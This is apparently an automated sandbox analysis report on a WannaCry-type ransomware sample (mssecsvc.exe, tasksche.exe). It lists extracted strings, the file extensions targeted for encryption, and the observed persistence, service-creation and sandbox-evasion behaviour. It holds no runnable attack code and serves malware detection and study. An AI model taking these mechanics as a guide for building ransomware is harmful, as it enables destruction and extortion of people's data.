              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\msdsm.sysA\_^
              Source: mssecsvc.exe.2.drBinary string: /\Device\HarddiskVolume2\Windows\inf\msmouse.PNF H
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CodecPack-Basic-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\vms3cap.sys
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-BusinessScanning-Feature-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\HpSAMD.sys
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\ru-RU\rascfg.dll.mui
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\amdsata.syso
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-ICM-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
              Source: mssecsvc.exe.2.drBinary string: U\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\User Profile Service
              Source: mssecsvc.exe.2.drBinary string: 7\Device\HarddiskVolume2\Program Files\AVG\Av\avgwsc.exep
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\isapnp.sys
              Source: mssecsvc.exe.2.drBinary string: H\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\Autochk
              Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\wuaueng.dllp
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\BrUsbMdm.sys
              Source: mssecsvc.exe.2.drBinary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netrass.inf_locjk`GCA
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\IPMIDrv.sys
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\mfplat.dllP3
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\adpu320.sys
              Source: mssecsvc.exe.2.drBinary string: 0\Device\HarddiskVolume2\Windows\inf\netnwifi.PNF
              Source: mssecsvc.exe.2.drBinary string: .\Device\HarddiskVolume2\Windows\inf\nettun.PNF
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-PeerDist-Client-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Program Files\Realtek\Audiop
              Source: mssecsvc.exe.2.drBinary string: F\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\hidserv.inf_locp}
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-MSMQ-Client-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat4
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\wersvc.dll
              Source: mssecsvc.exe.2.drBinary string: >\Device\HarddiskVolume2\Users\Public\Desktop\Google Chrome.lnk
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\wimmount.sys
              Source: mssecsvc.exe.2.drBinary string: ?\Device\HarddiskVolume2\Windows\System32\drivers\Synth3dVsc.sys
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\Defrag.exe
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\vsmraid.sys
              Source: mssecsvc.exe.2.drBinary string: +\Device\HarddiskVolume2\Windows\System32\ru
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\tdtcp.sys
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-MobilePC-Client-SideShow-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
              Source: mssecsvc.exe.2.drBinary string: A\Device\HarddiskVolume2\Windows\Prefetch\AVGUIRNX.EXE-006CD133.pfp
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\inf\netvwififlt.PNFF4
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-NFS-ClientSKU-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\aliide.sys
              Source: mssecsvc.exe.2.drBinary string: 6\Device\HarddiskVolume2\Windows\System32\werconcpl.dll
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\UAGP35.SYSt
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\mstee.sysP
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GPUPipeline-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catPROTp
              Source: mssecsvc.exe.2.drBinary string: D\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\PLA_S
              Source: mssecsvc.exe.2.drBinary string: o\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini_CPU2
              Source: mssecsvc.exe.2.drBinary string: V\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\tmp.edb
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\usbuhci.sysS
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume3\$
              Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netmscli.inf_locH
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-NetFx3-OC-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cath
              Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\SyncCenter;PBI
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\mstee.sys
              Source: mssecsvc.exe.2.drBinary string: I\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\NetTrace
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\tdtcp.sys+
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\winusb.sysc
              Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\usbvideo.inf_loc@"
              Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\runonce.exe
              Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netnwifi.inf_loc
              Source: mssecsvc.exe.2.drBinary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\ndisuio.inf_locKC
              Source: mssecsvc.exe.2.drBinary string: >\Device\HarddiskVolume2\Windows\System32\drivers\filetrace.syst
              Source: mssecsvc.exe.2.drBinary string: C\Device\HarddiskVolume2\Program Files\Internet Explorer\ieproxy.dll
              Source: mssecsvc.exe.2.drBinary string: 1\Device\HarddiskVolume2\ProgramData\Avg\AV\cfgall
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\storvsc.sys
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\sfloppy.sysH
              Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\System32\fveui.dllPR_CPU
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-InternetExplorer-Optional-Package~31bf3856ad364e35~x86~en-US~8.0.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: 0\Device\HarddiskVolume2\Windows\System32\vds.exe
              Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\System32\VSSVC.exe
              Source: mssecsvc.exe.2.drBinary string: r\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaDataI
              Source: mssecsvc.exe.2.drBinary string: T\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\av16
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Disk-Diagnosis-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\RacRules.xml
              Source: mssecsvc.exe.2.drBinary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\ndisuio.inf_locp
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\AMDAGP.SYS.pdap
              Source: mssecsvc.exe.2.drBinary string: 8\Device\HarddiskVolume2\Windows\System32\drivers\fdc.sys
              Source: classification engineClassification label: mal100.rans.troj.evad.winDLL@30/43@2/3
              Source: C:\Windows\tasksche.exeCode function: OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,29_2_00401CE8
              Source: C:\Windows\tasksche.exeCode function: 29_2_00401CE8 OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,29_2_00401CE8
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC05F2 FindCloseChangeNotification,GetModuleHandleA,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,FindCloseChangeNotification,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,FindCloseChangeNotification,FindCloseChangeNotification,4_2_00AC05F2
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\kBBdc7Aoj4.dll,PlayGame
              Source: mssecsvc.exe, 00000004.00000000.264216191.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000004.00000002.529660580.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000007.00000000.263814338.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000007.00000002.354991313.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 0000000A.00000002.354732682.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 0000000A.00000000.273820547.0000000000710000.00000080.00000001.01000000.00000004.sdmp, tasksche.exe, 0000001D.00000000.340987987.000000000040E000.00000008.00000001.01000000.00000008.sdmp, kBBdc7Aoj4.dll, mssecsvc.exe.2.drBinary or memory string: @.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docWANACRY!%s\%sCloseHandleDeleteFileWMoveFileExWMoveFileWReadFileWriteFileCreateFileWkernel32.dll
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-StarterEdition-wrapper~3
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a04392\avg-secure-search-installer.exe
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a04160\avg-secure-search-installer.exe
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a01924\avg-secure-search-installer.exe2
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-2-Pa
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Server-Help-Package.ClientUltimate~31bf385
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-Pack
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Help-CoreClientUAUE-Pack
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Help-Customization-Packa
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-StarterEdition-wrapper~3
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a04392\avg-secure-search-installer.exe
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a04160\avg-secure-search-installer.exe
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a01924\avg-secure-search-installer.exe2
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-2-Pa
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Server-Help-Package.ClientUltimate~31bf385
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-Pack
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Help-CoreClientUAUE-Pack
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Help-Customization-Packa
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-StarterEdition-wrapper~3
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a04392\avg-secure-search-installer.exe
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a04160\avg-secure-search-installer.exe
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a01924\avg-secure-search-installer.exe2
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-2-Pa
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Server-Help-Package.ClientUltimate~31bf385
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-Pack
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Help-CoreClientUAUE-Pack
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Help-Customization-Packa
              Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: kBBdc7Aoj4.dllStatic file information: File size 5267459 > 1048576
              Source: kBBdc7Aoj4.dllStatic PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x501000
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC0CFA push es; iretd 4_2_00AC0D19
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA0CFA push es; iretd 4_2_7FEA0D19
              Source: C:\Windows\tasksche.exeCode function: 29_2_00407710 push eax; ret 29_2_0040773E
              Source: C:\Windows\tasksche.exeCode function: 29_2_004076C8 push eax; ret 29_2_004076E6
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC3D36 LoadLibraryA,GetProcAddress,LoadLibraryA,GetTickCount,GetVolumeInformationA,GetModuleFileNameA,wsprintfA,CreateThread,CloseHandle,CreateThread,CloseHandle,CreateEventA,socket,connect,GetVersionExA,wsprintfA,CreateThread,CloseHandle,GetTickCount,4_2_00AC3D36
              Source: initial sampleStatic PE information: section where entry point is pointing to: .rsrc

              Persistence and Installation Behavior

              barindex
              Drops executables to the windows directory (C:\Windows) and starts them
              Source: C:\Windows\mssecsvc.exeExecutable created and started: C:\WINDOWS\tasksche.exeJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeExecutable created and started: C:\WINDOWS\mssecsvc.exeJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Windows\mssecsvc.exeJump to dropped file
              Source: C:\Windows\mssecsvc.exeFile created: C:\Windows\tasksche.exeJump to dropped file
              Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Windows\mssecsvc.exeJump to dropped file
              Source: C:\Windows\mssecsvc.exeFile created: C:\Windows\tasksche.exeJump to dropped file
              Source: C:\Windows\tasksche.exeCode function: 29_2_00401CE8 OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,29_2_00401CE8
              Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

              Malware Analysis System Evasion

              barindex
              Found evasive API chain (may execute only at specific dates)
              Source: C:\Windows\mssecsvc.exeEvasive API call chain: GetSystemTime,DecisionNodes,Sleepgraph_10-2629
              Tries to evade debugger and weak emulator (self modifying code)
              Source: C:\Windows\mssecsvc.exeSpecial instruction interceptor: First address: 0000000000A71969 instructions caused by: Self-modifying code
              Source: C:\Windows\mssecsvc.exeSpecial instruction interceptor: First address: 0000000000A6B1E4 instructions caused by: Self-modifying code
              Contains functionality to detect sleep reduction / modifications
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC41784_2_00AC4178
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA41784_2_7FEA4178
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B0417810_2_00B04178
              Source: C:\Windows\System32\svchost.exe TID: 3180Thread sleep time: -30000s >= -30000sJump to behavior
              Source: C:\Windows\System32\svchost.exe TID: 4348Thread sleep time: -30000s >= -30000sJump to behavior
              Source: C:\Windows\mssecsvc.exeEvasive API call chain: GetSystemTime,DecisionNodesgraph_10-2629
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A71A02 rdtsc 4_2_00A71A02
              Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0Jump to behavior
              Source: C:\Windows\mssecsvc.exeAPI coverage: 6.3 %
              Source: C:\Windows\mssecsvc.exeAPI coverage: 7.8 %
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B0417810_2_00B04178
              Source: C:\Windows\mssecsvc.exeProcess information queried: ProcessInformationJump to behavior
              Source: C:\Windows\System32\loaddll32.exeThread delayed: delay time: 120000Jump to behavior
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: &@vmicvss
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@vmicheartbeat
              Source: svchost.exe, 00000020.00000002.802484790.00000247D36B5000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Allow inbound TCP port 636 traffic for vmicheartbeatLMEMp
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@Block any inbound traffic for vmicvss
              Source: mssecsvc.exeBinary or memory string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Common-Drivers-Package~3
              Source: mssecsvc.exe, 00000004.00000000.264216191.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000004.00000002.529660580.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000007.00000000.263814338.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000007.00000002.354991313.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 0000000A.00000002.354732682.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 0000000A.00000000.273820547.0000000000710000.00000080.00000001.01000000.00000004.sdmp, tasksche.exe, 0000001D.00000000.341005628.0000000000410000.00000002.00000001.01000000.00000008.sdmp, mssecsvc.exe.2.drBinary or memory string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Guest-Integration-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: svchost.exe, 00000020.00000002.802484790.00000247D36B5000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Allow outbound TCP traffic for vmicheartbeatLMEM`
              Source: svchost.exe, 00000018.00000002.787568082.0000021C08828000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000018.00000000.298267208.0000021C08828000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000018.00000000.298578771.0000021C08828000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.665791766.000001BADD429000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.667065368.000001BAE2C4C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
              Source: dwm.exe, 0000001B.00000000.309870245.000002C6305D0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ng-MPSS$@vmicheartbeat-allow-in-1nOnly
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@vmicvss
              Source: svchost.exe, 00000020.00000002.802484790.00000247D36B5000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Allow inbound TCP port 389 traffic for vmicheartbeatLMEMp
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@vmicheartbeat
              Source: svchost.exe, 00000022.00000000.376192517.000002418A629000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000_0r
              Source: mssecsvc.exe, 00000004.00000000.264216191.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000004.00000002.529660580.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000007.00000000.263814338.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000007.00000002.354991313.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 0000000A.00000002.354732682.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 0000000A.00000000.273820547.0000000000710000.00000080.00000001.01000000.00000004.sdmp, tasksche.exe, 0000001D.00000000.341005628.0000000000410000.00000002.00000001.01000000.00000008.sdmp, mssecsvc.exe.2.drBinary or memory string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Common-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catp
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: W$N.@vmicheartbeat-block-out
              Source: svchost.exe, 00000011.00000000.291195957.0000025CB586C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: vmicshutdown
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@Block any other inbound traffic for vmicheartbeat
              Source: svchost.exe, 00000011.00000002.794180667.0000025CB5036000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: vmicvss
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@vmicshutdown
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@vmicshutdown-block-out
              Source: svchost.exe, 00000026.00000003.670991397.0000024ADF743000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware
